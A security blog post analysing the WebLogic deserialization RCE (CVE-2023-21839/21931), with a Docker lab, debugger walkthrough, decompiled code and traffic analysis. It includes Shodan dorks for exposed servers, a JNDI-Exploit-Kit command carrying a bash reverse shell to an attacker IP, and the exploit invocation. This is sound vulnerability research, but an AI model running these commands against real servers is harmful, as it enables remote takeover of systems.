Introduction
RCE via post-deserialization was found in Weblogic Server and has been found and registered as CVE-2023–21839 & CVE-2023–21931 both have the same idea.
Oracle WebLogic Server is a Java EE application server currently developed by Oracle Corporation.
The affected versions are 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0.
Weblogic server is a very much common software
Some shodan dorks to search for weblogic server:
- Oracle WebLogic Server
- Weblogic
- Weblogic Application Server
You can also specify the ports.
https://www.shodan.io/search?query=Weblogic
Based on Greynoise, there are no attempts of exploiting this vulnerability
https://viz.greynoise.io/tag/oracle-weblogic-cve-2023-21839-rce-attempt?days=3
Background Story
This time I fall for the rabbit hole and I didn’t even know!
Weblogic turned out to be more complicated than I thought and what made this more complicated is
1- How to debug it
2- the GIOP protocol that’s used with the exploit
The vulnerability idea is really simple.
When you hunt for such vulnerabilities, especially in Java products, usually you try to find an entry point
a serialization object where you send your payload
The methodology I followed to analyze this CVE is as follows:
- Understand how the exploit interacts with Weblogic
- Follow the requests and understand the functions that getting triggered
- Specify the related functions to the vulnerability (We don’t want the network functions such as T3 and GIOP)
- Understand those functions and when the exploit really getting triggered — the root cause
After I was basically sinking and trying to figure out how to find the start of the end of this maze, I found this blog by gobysec which they are the team who found this vulnerability explaining more about it and also about IIOP and T3.
Since the whole exploitation is through T3 and IIOP so it’s better to understand. I found this blog and it’s from the same team — gobysec, the blog explained the vulnerability methodology in general but I couldn’t follow up with them because the quality of the pics is really bad.
With that being said, I continued debugging my own way and followed the network traffic analysis which helped a lot.
Build the lab
I’m using docker on Ubuntu server 20.04
Buckle up this is a long journey to go through
Install docker
- apt update
- apt install docker docker-compose
Install Weblogic Server
First, install the docker of Weblogic server
- make a docker-compose.yml file and paste the following inside it.
This container was created for cve-2020–2883 but we can use it for this vulnerability as well.
- 8453 is the debugging port
- 7001 is the Oracle WebLogic Server Listen Port for Administration Server
version: '2'
services:
weblogic:
image: vulfocus/weblogic-cve_2020_2883:latest
ports:
- "7001:7001"
- "8453:8453"
Now run the command
docker-compose up .
sudo docker exec -it container_id bash
2- Go to setDomainEnv.sh
file
vi bin/setDomainEnv.sh
3- Search for debugFlag and add the following:
debugFlag="true"
export debugFlag
4- Exit and restart the container
sudo docker restart container_id
Copy the files from weblogic server
In order to debug the weblogic server we are going to copy the libs from inside the container and import them later inside our IDEA.
1- Enter the container
sudo docker exec -it container_id bash
2- Go to the following path:
/u01/oracle/weblogic/wlserver/server
as you can see here, we have the “lib” folder. here’s where all the libs of Weblogic server
3- Copy the lib folder
sudo docker cp container_id:/u01/oracle/weblogic/wlserver/server/lib .
if you are using sudo, so the copied folder will be with root privs and you gotta change them so use the following
sudo chmod -R 755 lib
Setup the debugger
1- Create a new project
2- Go to the project structure
First, add the SDK
Now go to Libraries and add the lib folder
it should appear like this, after that click OK
It supposes to show up like this. If not, try to remove it and re-add it or relaunch the IDEA
Now let’s just configure the remote-debugger
Change the name and most important the port to 8453
Now click debugging
Decompile all the jar files
As an extra step here, we are going to decompile all the jar files of Weblogic so it will become more of an open-source code and easier to search through it for whatever we need.
1- Copy all the weblogic folder from inside the container
sudo docker cp container_id:/u01/oracle/weblogic .
2- Change the permissions
sudo chmod -R 755 weblogic
3- Use the following tool:
https://github.com/thoqbk/code-collection
you can just follow the instructions there, and just give it the source directory path (the weblogic src path) and the destination path and wait for a while.
Reproduce the vulnerability
Requirements
To reproduce the vulnerability we need the following tools:
1- JNDI-Exploit-Kit
Link: https://github.com/pimps/JNDI-Exploit-Kit
2- CVE-2023–21839 Exploitation script
Link: https://github.com/4ra1n/CVE-2023-21839
3- a listener such as nc
Run the exploitation
1- First start the JNDI-Exploit-Kit
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker_ip/1234 0>&1" -J attacker_i:8180 -L attacker_i:1389 -R attacker_i:1099
2- Run the scanner
nc -nvlp 1234
3- Run the exploit
./CVE-2023-21839 -ip target_ip -ldap ldap://192.168.1.103:1389/02snh7
This part ldap://192.168.1.103:1389/02snh7
is copied from here:
Now check the listener again
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/192.168.1.107/1234 0>&1" -J 192.168.1.107:8180 -L 192.168.1.107:1389 -R 192.168.1.107:1099
Static Analysis & Debugging
Kick it off — because no one care
First, just to kick it off, let’s add a breakpoint and try the exploitation again
Based on the blog by gobysec, which is the team who found this vulnerability
Check it here: https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md
We have to add breakpoints on the following lines
You can find the class in the path
/lib/wlthint3client.jar!/weblogic/jndi/internal/WLNamingManager.class
Now run the exploit again and you will see how the debugger will pause.
Finding the start of the maze
We can just start from the breakpoints where gobysec pointed. feel free to do that if you like. However, I like to understand the workflow of the software
I started to click “step over” and add breakpoints on where ever the IDE taking me
You can search for those classes and add breakpoints, or just with the step-over.
Breaking the magic
Since this is not an open-source project, I don’t have the same usual flexibility and by stepping over didn’t give me enough understanding, so I started with understanding the exploit, I used the go version and the python version.
Link: https://github.com/4ra1n/CVE-2023-21839
Link: https://github.com/houqe/POC_CVE-2023-21839
I edited a little bit on the go version and added a sleeping function between the requests, so it will be easier to monitor and see as much as I can on the IDE.
Also, keep an eye on JDNI-Exploit to understand which request triggers Weblogic to call back to jndi-exploit
- First part which is the data we entered gets printed.
[*] your-ip: 192.168.1.109
[*] your-port: 7001
[*] your-ldap: ldap://192.168.1.110:1389/uxnnvo
- Now we see the version of Weblogic
[*] weblogic 12
We can see the part of the code here, where the exploit sends specific requests to identify the Weblogic version
We can see the part of the code here, where the exploit sends specific requests to identify the Weblogic version
I launched Wireshark and started scrolling through the traffic
I filtered the traffic using ip.src==target_ip
and found the following packet
- The Weblogic version detect request didn’t hit any breakpoint
- The [*] id=2 LocateRequest
the request didn't hit any breakpoint as
well, but this initiates communication with the t3 protocol
- The [*] id=3 RebindRequest
hit the breakpoint on WLSExecuteRequest.class:98
There is some interesting info here such as “rebind_any”, and some other clues that we can follow on later.
Step-in Inside the following try block in the image, the function checks if the method descriptor indicates a one-way invocation. If it does, resp
remains null; otherwise, it retrieves the outbound response using the request.getOutboundResponse()
method.
Basically, the function handles the incoming requests
keep following with the ide, the next breakpoint is on the invoke method
public void invoke(RuntimeMethodDescriptor notused, InboundRequest request, OutboundResponse response) throws Exception {
try {
weblogic.iiop.InboundRequest iioprequest = (weblogic.iiop.InboundRequest)request; => 1.
if (!iioprequest.isCollocated() && iioprequest.getEndPoint().isDead()) {
throw new ConnectException("Connection is already shutdown for " + request);
} else {
Integer m = (Integer)objectMethods.get(iioprequest.getMethod()); => 2.
ResponseHandler rh;
if (response == null) { => 3. & 4.
rh = NULL_RESPONSE;
} else {
rh = ((weblogic.iiop.OutboundResponse)response).createResponseHandler(iioprequest);
}
if (m != null) { => 5.
this.invokeObjectMethod(m, iioprequest.getInputStream(), rh);
} else { => 6.
this.delegate._invoke(iioprequest.getMethod(), iioprequest.getInputStream(), rh);
}
if (response != null) { => 7.
response.transferThreadLocalContext(request);
}
}
} catch (ClassCastException var7) { => 8.
throw new NoSuchObjectException("CORBA ties are only supported with IIOP");
}
}
1. It begins by attempting to cast the InboundRequest
object to a specific type (`weblogic.iiop.InboundRequest`) to access additional functionality specific to this type of request.
2. It checks if the request is collocated (executed within the same server) and if the endpoint associated with the request is dead (shutdown). If so, it throws a ConnectException
indicating that the connection is already shutdown.
3. If the request is valid, it retrieves the method identifier (`Integer`) from a map called objectMethods
using the method obtained from the request.
4. It determines the appropriate ResponseHandler
to use based on the availability of the OutboundResponse
object. If response
is null
, it uses a predefined NULL_RESPONSE
handler. Otherwise, it creates a response handler specific to the type of request.
5. If a method identifier (`m`) is found in the map, it means the method is an object method, and it invokes the method using the invokeObjectMethod
method, passing the method identifier, the input stream from the request, and the response handler.
6. If the method identifier is not found in the map, it delegates the invocation to the _invoke
method of the delegate
object, passing the method name, input stream, and response handler.
7. If a response object is provided, it transfers the thread-local context from the request to the response object.
8. If a ClassCastException
occurs during the typecasting of the InboundRequest
object, it throws a NoSuchObjectException
indicating that CORBA ties are only supported with IIOP (Internet Inter-ORB Protocol).
From there going to doAs method
public Object doAs(AbstractSubject kernelId, PrivilegedExceptionAction action) throws PrivilegedActionException {
if (action == null) { => 1.
throw new SecurityException(SecurityLogger.getNullAction());
} else {
int sizeBeforePush = SubjectManager.getSubjectManager().getSize(); => 2.
SubjectManager.getSubjectManager().pushSubject(kernelId, this); => 3.
Object actionResult = null; => 4.
boolean var11 = false;
try {
var11 = true;
actionResult = action.run();
var11 = false;
} catch (RuntimeException var12) {
throw var12;
} catch (Exception var13) {
throw new PrivilegedActionException(var13);
} finally {
if (var11) {
int sizeBeforePop = SubjectManager.getSubjectManager().getSize();
while(sizeBeforePop-- > sizeBeforePush) {
SubjectManager.getSubjectManager().popSubject(kernelId);
}
}
}
int sizeBeforePop = SubjectManager.getSubjectManager().getSize();
while(sizeBeforePop-- > sizeBeforePush) {
SubjectManager.getSubjectManager().popSubject(kernelId);
}
return actionResult;
}
}
1. It first checks if the action
parameter is null
. If so, it throws an SecurityException
indicating that the action is null.
2. It retrieves the current size of the subject stack from the SubjectManager
and assigns it to sizeBeforePush
.
3. It pushes the specified subject (`kernelId`) onto the subject stack using the pushSubject
method of the SubjectManager
.
4. It initializes a variable actionResult
to null
& It sets a boolean variable var11
to false
as a flag for the finally block.
5. It tries to execute the privileged action by calling the run
method of the provided PrivilegedExceptionAction
object.
1. If a RuntimeException
is thrown, it is rethrown as is.
2. If an Exception
is thrown, it wraps it in a PrivilegedActionException
and throws it.
6. In the finally block, it checks if var11
is true
, indicating that an exception occurred during the action execution.
Basically, The doAs
method executes a privileged action on behalf of a specific subject. It pushes the subject onto the subject stack, attempts to run the action, and handles any exceptions that occur during execution. Finally, it ensures that the subject is popped from the stack before returning the result of the privileged action.
Once the software hits the actionResult = action.run();
it will go to the invoke
method
and from here it will go through multiple loops until it gets back to the run
method, and it will continue down to the end of the run
method and that will take us to execute
method
void execute(Runnable work) {
try {
++this.executeCount;
this.timeStamp = System.currentTimeMillis();
this.startTimeNS = System.nanoTime();
this.underExecution = true;
this.setThreadPriority();
work.run();
} catch (ThreadDeath var9) {
throw var9;
} catch (RequestManager.ShutdownError var10) {
throw var10;
} catch (OutOfMemoryError var11) {
KernelLogger.logExecuteFailed(var11);
SelfTuningWorkManagerImpl.notifyOOME(var11);
} catch (Throwable var12) {
KernelLogger.logExecuteFailed(var12);
} finally {
this.underExecution = false;
this.usage = (int)(System.currentTimeMillis() - this.timeStamp);
this.usageNS = System.nanoTime() - this.startTimeNS;
this.timeStamp = 0L;
this.startTimeNS = 0L;
}
}
from here you can notice that the [*] id=4 RebindRequest
got sent and the other requests as well
basically, you will notice that this process is building context and passing variables, and processing the serialization and deserialization.
On [*] id=6 ResolveRequest
you can notice that JNDI-Exploit is triggered, and from there our payload will be sent and executed and you can see we got the reverse shell back.
Getting back to the network traffic
We can see here all the requests from the first one id=2 LocateRequest
until the last one [*] id=7 ResolveRequest
The TCP Stream 1, basically contains all the interactions of those requests
TCP Stream 2, This is the interaction with JNDI
TCP Stream 3, the reverse shell payload class
TCP Stream 4, This is finally the reverse shell
Mitigation
It’s recommended to update to the latest version
Final thoughts
This wasn’t straightforward at all and it went sideways for a little bit
but I learned a lot about Weblogic, and that will make the next analysis more in-depth and better.
What really interests me the most is the T3 and GIOP protocols
Resources
https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md
#CVE-2023–21931 #CVE-2023–21839 #weblogic
RCE via post-deserialization was found in Weblogic Server and has been found and registered as CVE-2023–21839 & CVE-2023–21931 both have the same idea. We are going to go through some of the code, reproduce the vulnerability, explain the exploitation and do some network traffic analysis
Tags
- #vicarius_blog
- #CVE-2023–21839
- #CVE-2023–21931
- #weblogic